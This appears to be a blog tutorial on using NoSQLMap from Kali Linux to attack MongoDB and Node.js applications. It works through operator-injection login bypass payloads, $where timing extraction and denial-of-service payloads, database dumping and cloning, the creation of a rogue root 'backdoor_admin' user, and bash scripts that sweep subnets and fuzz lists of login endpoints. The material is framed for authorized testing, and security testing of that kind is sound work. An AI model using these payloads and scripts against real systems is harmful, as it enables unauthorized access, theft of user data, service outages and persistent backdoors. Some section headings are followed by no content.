Offensive Security Researcher & Quantum Cryptography Analyst

NoSQLMap: Complete Guide to NoSQL Database Security Testing and Exploitation Using Kali Linux

Abdul Wahab Junaid
NoSQLMap: Complete Guide to NoSQL Database Security Testing and Exploitation Using Kali Linux

NoSQLMap is an open-source Python tool designed to audit for, and automate exploitation of, NoSQL injection vulnerabilities, primarily targeting MongoDB, and to expose insecure configurations in Node.js applications built on Express and Mongoose. It was inspired directly by SQLMap and was created to fill a gap in tooling as NoSQL databases became widely adopted in modern web application stacks, particularly the MEAN/MERN stack (MongoDB, Express, Angular/React, Node.js).

Unlike traditional relational SQL injection, NoSQL injection exploits the way applications construct queries as JSON/BSON objects (in the case of MongoDB) rather than string-concatenated SQL statements. This means attacks typically abuse JavaScript operators like $where, $ne, $gt, $regex, and $in, or exploit type-juggling issues where an attacker submits an array or object instead of a string, bypassing authentication logic ({"username": {"$ne": null}, "password": {"$ne": null}}).

NoSQLMap provides a menu-driven interactive interface (similar to tools like msfconsole) that walks the tester through several attack categories:

NoSQLMap ships in the Kali Linux repositories and is also available directly from its GitHub repository for manual installation.

Installation

Kali Linux (APT)

sudo apt update
sudo apt install nosqlmap -y

From Source (GitHub)

sudo git clone https://github.com/codingo/NoSQLMap.git /opt/nosqlmap
cd /opt/nosqlmap
sudo pip3 install -r requirements.txt --break-system-packages
sudo python3 setup.py install

Requirements

Verify Installation

nosqlmap --help

or, if launched from source:

cd /opt/nosqlmap
python3 nosqlmap.py

Expected output (menu banner):

 __   _  ____  ____   __    __  __    __  ____
( (` / )(  __)(  _ \ (  )  (  \/  )  / _\(  _ \
 `\ \/ /  ) _)  __ /  (_)  )    (  /    \)   /
 (_)\__/  (__)  (_)_\  __) (_/\/\_) \_/\_/(__\_)

NoSQLMap - Automated NoSQL Attack Tool

Main Menu:
   1) Set options (do this first)
   2) NoSQL DB Access Attacks (via MongoDB)
   3) NoSQL Web App attack (via HTTP)
   4) Scan for Anonymous MongoDB Access
   x) Exit

Enter your selection >

Syntax

NoSQLMap is primarily menu-driven, unlike SQLMap’s flag-based CLI. It is launched with no arguments and options are configured interactively:

python3 nosqlmap.py

Some forked/updated versions also accept limited command-line flags for scripted use:

nosqlmap [-t TARGET] [-p PORT] [--scan] [--attack MODE]

Command Line / Menu Options Reference (Kali Linux)

Because NoSQLMap is interactive, its “options” are represented as numbered menu selections. Below is the complete reference of every option exposed by the tool.

Main Menu

OptionDescription
1Set options (target host, port, URLs, HTTP headers, request data — must be configured first)
2NoSQL DB Access Attacks (direct attacks against a MongoDB instance)
3NoSQL Web App attack (via HTTP, targeting a web application’s injectable parameters)
4Scan for Anonymous MongoDB Access (network-wide scan for unauthenticated MongoDB)
xExit the application

“Set Options” Submenu (Option 1)

FieldDescription
IP/HostTarget host/IP address of the MongoDB server or web application
PortsTarget port(s), default MongoDB port is 27017
Target URLFull URL of the vulnerable web application endpoint
HTTP MethodGET or POST
POST/GET DataInjectable request body / query string
CookiesSession cookie value(s) for authenticated testing
Injected ParameterThe specific parameter to fuzz for NoSQL injection
ProxyHTTP proxy for routing requests (e.g. through Burp Suite)
Request HeadersCustom headers (User-Agent, Authorization, etc.)
Time-based DelayDelay threshold (seconds) used for timing-based blind detection

“NoSQL DB Access Attacks” Submenu (Option 2)

OptionDescription
Enumerate database namesLists all databases on the target MongoDB instance
Enumerate collection namesLists all collections within a chosen database
Dump collection dataExtracts all documents from a chosen collection
Clone entire databaseCopies a full remote database to the attacker’s local MongoDB
Add administrative userAttempts to add a rogue admin user to the target MongoDB
Test for anonymous accessConfirms whether the instance requires no authentication

“NoSQL Web App Attack” Submenu (Option 3)

OptionDescription
Attempt login bypassInjects operators like $ne, $gt, $regex to bypass authentication
PHP array injection attackTests for PHP $_GET/$_POST array-based injection (param[$ne]=1)
Extract data via timing attackUses $where JavaScript sleep-based timing to blindly extract data character-by-character
Extract usernames via time-based blindIteratively brute-forces username/password fields using response timing
Test for MongoDB DoS via $whereSends resource-intensive $where payloads to test denial-of-service potential
Replay captured request with payloadsUses a captured HTTP request (from Burp/proxy) as a base template for injection

“Scan for Anonymous MongoDB Access” (Option 4)

OptionDescription
Single IP scanScans one target IP on port 27017 (or custom port) for unauthenticated access
IP range/CIDR scanScans a network range for open, unauthenticated MongoDB instances
Export resultsSaves scan results (open instances found) to a local file

Basic Usage (Expected Output in Bash)

cd /opt/nosqlmap
sudo python3 nosqlmap.py

Expected output:

NoSQLMap - Automated NoSQL Attack Tool

Main Menu:
   1) Set options (do this first)
   2) NoSQL DB Access Attacks (via MongoDB)
   3) NoSQL Web App attack (via HTTP)
   4) Scan for Anonymous MongoDB Access
   x) Exit

Enter your selection > 1

--- Set Options ---
IP/Host [None]: 192.168.56.101
Web App Port [80]: 3000
MongoDB Port [27017]: 27017
Target URL Path [None]: /login
HTTP Method (GET/POST) [POST]: POST
POST Data [None]: username=admin&password=admin
Options saved. Returning to main menu...

Practical Examples with Output in Bash

Example 1 — Scan for Anonymous (Unauthenticated) MongoDB Access

Enter your selection > 4
Enter target IP or CIDR range: 192.168.56.0/24
Enter port to scan [27017]: 27017

[*] Scanning 192.168.56.0/24 on port 27017...
[+] 192.168.56.101:27017 - Anonymous access ALLOWED
[-] 192.168.56.102:27017 - Connection refused
[+] 192.168.56.105:27017 - Anonymous access ALLOWED
[*] Scan complete. 2 open instances found.

Example 2 — Enumerate Databases on an Exposed MongoDB Instance

Enter your selection > 2
Target MongoDB host: 192.168.56.101
Target MongoDB port: 27017

[*] Connecting to 192.168.56.101:27017...
[+] Connection successful (no authentication required)
Databases found:
  - admin
  - config
  - local
  - webappdb

Example 3 — Enumerate Collections in a Database

Select database to enumerate collections: webappdb

[*] Enumerating collections in 'webappdb'...
Collections found:
  - users
  - sessions
  - products
  - orders

Example 4 — Dump a Collection

Select collection to dump: users

[*] Dumping collection 'users'...
{
  "_id": ObjectId("64fa1c2..."),
  "username": "admin",
  "password": "$2b$10$eImiTXuWVxfM37uY4JANjQ==",
  "email": "admin@target.local",
  "role": "administrator"
}
{
  "_id": ObjectId("64fa1c3..."),
  "username": "jdoe",
  "password": "$2b$10$KIXQ3z...",
  "email": "jdoe@target.local",
  "role": "user"
}
[*] 2 documents dumped to output/webappdb_users_dump.json

Example 5 — Authentication Bypass via Web App Attack

Enter your selection > 3
Select attack: Attempt login bypass
Target URL: http://192.168.56.101:3000/login
POST Data template: username=admin&password=admin

[*] Trying operator injection payloads...
[*] Payload: username=admin&password[$ne]=1
[+] SUCCESS - HTTP 302 redirect to /dashboard (login bypass confirmed)
[*] Payload: username[$ne]=null&password[$ne]=null
[+] SUCCESS - HTTP 302 redirect to /dashboard (login bypass confirmed)

Example 6 — PHP Array Injection Attack

Select attack: PHP array injection attack
Target URL: http://192.168.56.101/api/login.php
Injectable parameter: password

[*] Sending payload: password[$gt]=
[+] HTTP 200 - Response indicates successful authentication bypass
[*] Vulnerable to PHP MongoDB driver array injection

Example 7 — Time-Based Blind Data Extraction

Select attack: Extract data via timing attack
Target URL: http://192.168.56.101:3000/api/search
Injectable parameter: query
Time delay threshold: 3 seconds

[*] Testing baseline response time: 0.14s
[*] Payload: query[$where]=sleep(3000)
[*] Response time: 3.21s -- CONFIRMED time-based blind NoSQL injection
[*] Beginning character-by-character extraction of admin password hash...
[*] Extracted so far: 2b$10$e...

Example 8 — Testing for MongoDB Denial-of-Service via $where

Select attack: Test for MongoDB DoS via $where
Target URL: http://192.168.56.101:3000/api/products

[*] Sending payload: {"$where": "while(true){}"}
[*] Monitoring target response time...
[!] WARNING: Server did not respond within 15s - potential DoS condition
[*] Recommend reporting unrestricted $where usage as a High severity finding

Example 9 — Cloning a Remote Database Locally

Select attack: Clone entire database
Source: 192.168.56.101:27017/webappdb
Destination: localhost:27017/webappdb_clone

[*] Cloning webappdb (4 collections, 1,204 documents)...
[+] Clone complete: webappdb_clone now available on local MongoDB instance

Example 10 — Adding a Rogue Administrative User (Lab Only)

Select attack: Add administrative user
Target: 192.168.56.101:27017
New username: backdoor_admin
New password: P@ssw0rd123!
Role: root

[*] Attempting to create user on 'admin' database...
[+] User 'backdoor_admin' created successfully with role 'root'
[!] This action modifies the target database — authorized lab use only

Example 11 — Replaying a Burp-Captured Request with Injection Payloads

Select attack: Replay captured request with payloads
Request file: /home/kali/burp_requests/search_request.txt
Injectable field detected: "q"

[*] Loaded request template (12 headers, 1 body field)
[*] Fuzzing 'q' with 18 NoSQL operator payloads...
[+] Payload q[$regex]=^a caused anomalous response (different result count)
[+] Confirmed: 'q' parameter vulnerable to $regex-based blind injection

Example 12 — Exporting Scan Results

Enter your selection > 4
... (scan as in Example 1) ...
Export results to file? [Y/n]: Y
Filename: mongo_scan_results.txt

[*] Results exported to mongo_scan_results.txt

Common Use Cases

Automation with Bash

Automated Anonymous MongoDB Sweep

#!/bin/bash
# mongo_sweep.sh - Sweep a subnet for anonymous MongoDB access using nosqlmap in scripted mode

SUBNET="$1"
if [ -z "$SUBNET" ]; then
    echo "Usage: $0 <CIDR-range>"
    exit 1
fi

echo "[*] Starting anonymous MongoDB sweep on $SUBNET"
cd /opt/nosqlmap || exit 1

python3 - <<EOF
from pymongo import MongoClient
import ipaddress, sys

subnet = ipaddress.ip_network("$SUBNET")
for ip in subnet.hosts():
    try:
        client = MongoClient(str(ip), 27017, serverSelectionTimeoutMS=800)
        dbs = client.list_database_names()
        print(f"[+] {ip}:27017 OPEN - Databases: {dbs}")
    except Exception:
        pass
EOF

echo "[*] Sweep complete."

Run it:

chmod +x mongo_sweep.sh
./mongo_sweep.sh 192.168.56.0/24

Bulk Login-Bypass Fuzzing Script (Multiple Endpoints)

#!/bin/bash
# bulk_nosqli_test.sh - Test a list of login endpoints for NoSQL operator injection

ENDPOINTS_FILE="login_endpoints.txt"
PAYLOADS=('username[$ne]=null&password[$ne]=null' 'username=admin&password[$gt]=')

while IFS= read -r url; do
    echo "[*] Testing $url"
    for payload in "${PAYLOADS[@]}"; do
        response=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$url" -d "$payload")
        echo "    Payload: $payload -> HTTP $response"
    done
done < "$ENDPOINTS_FILE"

Cron Job for Recurring Internal Network Audits

# crontab -e
# Weekly authorized internal audit for exposed MongoDB instances
0 3 * * 0 /usr/local/bin/mongo_sweep.sh 10.10.0.0/16 >> /var/log/nosqlmap/weekly_sweep.log 2>&1

Tips and Best Practices

Troubleshooting

ProblemCauseSolution
ServerSelectionTimeoutError when connecting to MongoDBFirewall blocking port 27017, or MongoDB bound to localhost onlyConfirm port reachability with nc -zv <ip> 27017; check network scope
Menu hangs/crashes on option 3 (Web App attack)Malformed POST data template in Set OptionsRe-enter POST data exactly as captured by the browser/proxy, URL-encoded
pymongo.errors.OperationFailure: not authorizedTarget MongoDB actually requires authenticationProvide credentials if authorized, or mark as “not anonymous” in the report
Login bypass payloads have no effectApplication uses parameterized queries or strict input typecastingConfirm framework/ORM in use (e.g., Mongoose with schema validation may block operator injection)
Timing attack gives inconsistent resultsNetwork latency varianceIncrease the delay threshold value; run multiple baseline samples
ImportError: No module named pymongoMissing Python dependencypip3 install pymongo --break-system-packages
Scan of large CIDR range is very slowSequential scanning of large address spaceReduce range size per run, or use the bash automation sweep script with a shorter timeout
Clone attack fails midwayNetwork interruption or large dataset sizeRetry with a stable connection; consider mongodump/mongorestore as an alternative

References

Exit mobile version